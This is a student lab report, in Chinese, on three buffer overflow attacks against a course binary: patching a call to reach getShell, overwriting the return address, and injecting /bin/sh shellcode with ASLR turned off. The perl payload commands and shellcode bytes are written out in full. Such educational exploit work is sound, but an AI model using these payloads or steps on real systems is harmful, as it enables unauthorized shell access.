1.实验内容
1.1知识回顾
1.1.1什么是缓冲区溢出?
计算机中,如果程序试图向一个缓冲区填充超出它能够容纳的数据,溢出的数据可能会覆盖其他重要的内存区域,导致程序运行失败甚至崩溃,如果这些溢出数据是精心设计的.则攻击者就可以利用它们指向预先设计的攻击代码(shellcode)(Shellcode是核弹!!!)。
漏洞存在的根本原因是冯诺依曼体系中,数据指令没有明显区分。
1.1.2缓冲区溢出的实例有哪些?
Codered利用IIS漏洞(红色代码)
SQL slammer蠕虫利用SQL Server漏洞
Blaster 利用RPC漏洞(冲击波病毒)
Sasser利用LSASS漏洞(震荡波病毒)
Sapphire蠕虫(蓝宝石)
Witty蠕虫
WannaCry(勒索病毒)
1.1.3实验前置知识
编译器:例如C/C++等高级语言编写的程序,需要通过编译器(Compiler)和连接器(Linker)生成在OS上执行的可执行程序代码。
调试器:开发人员在运行时调试与分析程序行为的工具,如GDB。
寄存器:通用寄存器、段寄存器、控制寄存器、其他寄存器
汇编语言、反汇编过程
linux基础指令:ls、cd、sudo等
函数在栈结构中的执行过程
EBP栈底指针(在高地址)、ESP栈顶指针(在低地址)、EIP指令指针寄存器(指向下一条将要执行的指令的地址)
Shell
1.2实验要干什么
本次实践的对象是一个名为pwn20222319的linux可执行文件(本实验任务三中我将其分为pwn20222319_d7与pwn20222319_c3)。该程序正常执行流程是:main调用foo函数,用户输入什么字符串,foo就返回什么字符串。
该程序同时包含另一个函数getShell,功能是返回一个可用Shell。
三个实验任务即是从三个角度尝试实现这一个正常情况下不会被执行的Shell的成功调用。
原理如下:
任务一 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
任务二 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
任务三 注入一个精心制作的shellcode并运行这段shellcode。
2.实验过程
2.1任务一 手工修改函数跳转地址,直接调用到Shell
首先修改命令行提示符,其格式为XXX@YYY,XXX为用户名,即目前登录该服务器的用户的名字,任务一中未对其进行修改故为kali,实验二、三中进行了修改。
YYY为主机名,在命令行中可通过如
hostname zzs
进行更改。
2.1.1将目标文件放入实验环境中
将下载好的pwn1文件直接从windows文件夹里从拖入经kali可视化后的linux操作界面中,如下图
此时pwn1文件存储于桌面上,因此在命令行中应使用指令cd Desktop
进入pwn1所在的界面,方便操作
其文件名也可通过如mv pwn1 pwn20222319
进行修改
2.1.2将目标文件进行反汇编
在pwn20222319文件所在目录下,使用objdump -d pwn20222319 | more
进行反汇编,查看其函数地址结构,结果如下图
找到getShell、foo、main三函数所在的地址
得知主函数main在运行过程中call指令跳转到08048491位置,即foo函数首地址,因此能调用foo函数,所以我们只要将此处的代码修改为getShell函数的首地址,即可实现攻击目标
但应该如何改呢?
首先得知道,此处机器指令e8 d7ffffff中,e8含跳转的功能,d7ffffff是补码,代表-41,因此其功能就是跳转到EIP + d7ffffff这个位置的指令,
又因为EIP通常为下一条机器指令的地址,
所以有41=0x29,0x080484ba+0xd7ffffff=0x80484ba-0x29=0x08048491
所以要实现向getShell函数的跳转,得知道其首地址0x0804847d,
所以0x0804847d-0x080484ba=-0x3d,补码为0xffffffc3,所以相应机器码应为c3ffffff
2.1.3打开文件进行修改
使用指令vi pwn20222319
打开文件,会出现下图所示情况,此时需输入:%!xxd
将文件显示模式切换为16进制模式
然后输入/e8 d7
指令搜索需要修改的机器指令,
按键盘上的i键进入Insert模式,修改d7为c3
最后输入:%!xxd -r
返回原显示模式,:wq
保存退出
显然,此时pwn20222319实现了getShell函数的功能,攻击成功
2.2任务二 通过输入恶意字符串覆盖返回地址,触发getShell函数(BOF攻击)
2.2.1下载GDB
在输入gdb指令进行调试时,发现虚拟机上未提前安装好gdb,提示可用apt install相关指令进行安装,
但实际上由于apt资源库非最新,所以gdb不能据apt install指令下载,得先使用sudo apt update
更新apt资源后方可下载gdb。如下两图。
2.2.2 确认使用什么字符可以覆盖目标返回地址
通过反汇编可知,foo函数只为读入字符串预留了28字节的缓冲区,超出部分会造成溢出,存在Buffer overflow漏洞。
由上两图可知,当输入较长字符串1111111122222222333333334444444455555555
时,函数下一条指令的寄存器EIP会被0x35353535覆盖,即第33到40个字符区域的某四个字符所覆盖,
而由另一较长字符1111111122222222333333334444444412345678
定位可知,修改字符串中第33到36位字节为getShell函数的首地址即可使该函数执行Shell
据反汇编可知,getShell函数首地址为0x0804847d,因此我们应输入
11111111222222223333333344444444\x7d\x84\x04\x08
进行BOF攻击
2.2.3 通过文件管道输入无法键盘输入的字符
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以我们得通过
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20222319
生成一个文件(\x0a表示回车),并通过管道符“|”间接输入进pwn20222319中。结果如下
显然,此时pwn20222319实现了getShell函数的功能,攻击成功
2.3任务三 通过注入Shellcode进行攻击
2.3.1下载execstack
由于execstack无法通过apt下载,因此我们可以通过wget指令从互联网上下载相应文件
此处我使用wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
下载目标压缩文件到Desktop目录下,再用
sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
进行解压,即可下载好execstack。如图
2.3.2调好文件运行环境
通过指令execstack -s pwn20222319
设置堆栈可执行
再通过echo "0" > /proc/sys/kernel/randomize_va_space
取消栈地址随机化,结果如下图
2.3.3准备一段Shellcode进行注入测试
首先设计好一段Shellcode,以16进制的形式将其写在文件input_shellcode20222319_test中,即输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20222319_test
如图
然后将该文件管道输入至文件pwn20222319中(此处为了分辨清晰,我将其命名为pwn20222319_d7,以示其正常情况下不执行Shell),注意此时不输入任何字符,保持其持续运行即可
与此同时,打开另一个终端,输入ps -ef | grep pwn20222319_d7
,查看pwn20222319_d7的进程号,发现为265174
进入调试器gdb,输入attach 265174
连接该进程
输入disassemble foo
查看该程序中foo函数的执行情况,查询各寄存器地址状态
输入break *0x080484ae
设置断点于函数返回地址
输入c
,让程序继续执行,并保持监控
返回第一个终端,敲一个回车即可,可见命令行会弹出如图字符提示,
第二终端同样会有命令行的响应,如图
此时输入info r esp
显示当前栈指针(ESP寄存器)的值,发现其为0xffffd36c
再输入x/16x ffffd36c
以16进制格式查看内存地址 0xfffd36c 开始的 16 个字(每个字 4 字节)内容
发现0x01020304就在其中,地址为0xffffd36c,因为栈地址会从高到低增长,且是从右往左存的,因此得为0xffffd36c+4字节,即目标地址应为0xffffd370
2.3.4构造要注入的payload,进行攻击
输入
perl -e 'print "\x70\xd3\xff\xff\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20222319
生成最终执行攻击的注入文件,通过管道输入执行pwn20222319_d7程序,回车后返回如图结果,之后即可执行Shell程序,ls、cd、exit等功能皆能执行
显然,注入攻击成功
3.问题及解决方案
-
问题1:pwn文件无法执行,显示permission deny
问题1解决方案:经查询,该文件是从windows系统复制到linux系统中,在linux中缺少执行权限,输入指令chmod +x ./pwn20222319
即可
-
问题2:在用户界面以vi命令编辑pwn文件时,使用/e8d7、/e8 d7、/d7ff都无法搜索到相关内容
问题2解决方案:进入目标文件所在目录下,使用sudo su进入root模式,再用vi命令打开文件即可搜索到。经查阅资料,问题原因可能是因为权限、所有权或安全策略的不同而导致普通用户权限下与root权限下出现搜索结果差异,通过调整文件权限可以让普通用户正常搜索到目标内容。当然也不排除是文件受损的原因。 -
问题3:取消地址随机化后,函数的返回地址依然随机
问题3解决方案:实际上是第一次实验时设置了取消地址随机化,退出虚拟机第二次进入进行实验进入linux终端时,系统又变回了地址随机化的状态,再改一次就好。 -
问题4:文件从windows界面拖入普通用户登录的linux界面里的桌面时有复制提示无桌面复制文件
问题4解决方案:最开始考虑可能是用户权限问题,因为root用户不能打开普通用户的文件夹,反之也是,因此不能直接互相从对方文件里复制,因此在查阅许多种在同一台linux服务器不同账号间互传文件的方法,包括scp传输、ftp传输、通过winSCP等第三方软件访问普通用户的数据等等方法,最终选择了在linux根目录创建一个共享文档,配好任何人可使用的权限后才解决。但在写实验报告复盘实验经过时,发现竟然又可以拖了,就很神奇,难以解释。
4.学习感悟、思考等
经过本次实验,我主要学会了针对缓冲区溢出漏洞的三种不同攻击方法,第一种是修改主函数的函数调用地址,第二种是使用较长的字符串覆盖子函数返回地址,第三种是构建一个payload通过字符串覆盖从而注入进程序中进行调用。不禁令人感慨冯诺依曼体系指令与数据不分后果非常严重,也让人感慨一代代程序员们为补上这一个漏洞做了多少的补丁,诸如字符串数组边界检查、不安全函数检查、完整性检查,还有Stack Canary保护、NX保护与ASLR。
特别是ASLR,在本次实验中困扰了我很久,在以为关闭地址随机化情况下,任务三我前前后后重做了好几遍,严格按照指导书内容来做,排除了文件权限,注入内容,执行文件内容等等方面的原因,最后才发现目标返回地址每次都不一样,所以任务三铁定是无法成功的,就算能成功那也是蒙对的,可是概率极其微小。因此我在本次实验中对于地址随机化抗缓冲区溢出攻击的能力极为信服,不把它关掉几乎是不可能成功进行缓冲区溢出攻击的。
当然,本次实验也加深了我对于linux命令的熟悉程度。
此外,出于本实验的需要,我也认识了一些x86汇编语言的指令及其机器码
NOP-----0x90 空指令,用于创建时间延迟或占位
JNE------0x75 如果前一个比较指令结果不相等,则跳转到指定标签
JE--------0x74 如果前一个比较指令结果相等,则跳转到指定标签
JMP------0xEB 无条件跳转到指定标签
CMP------0x39 比较两个操作数,一般与JNE或JE连用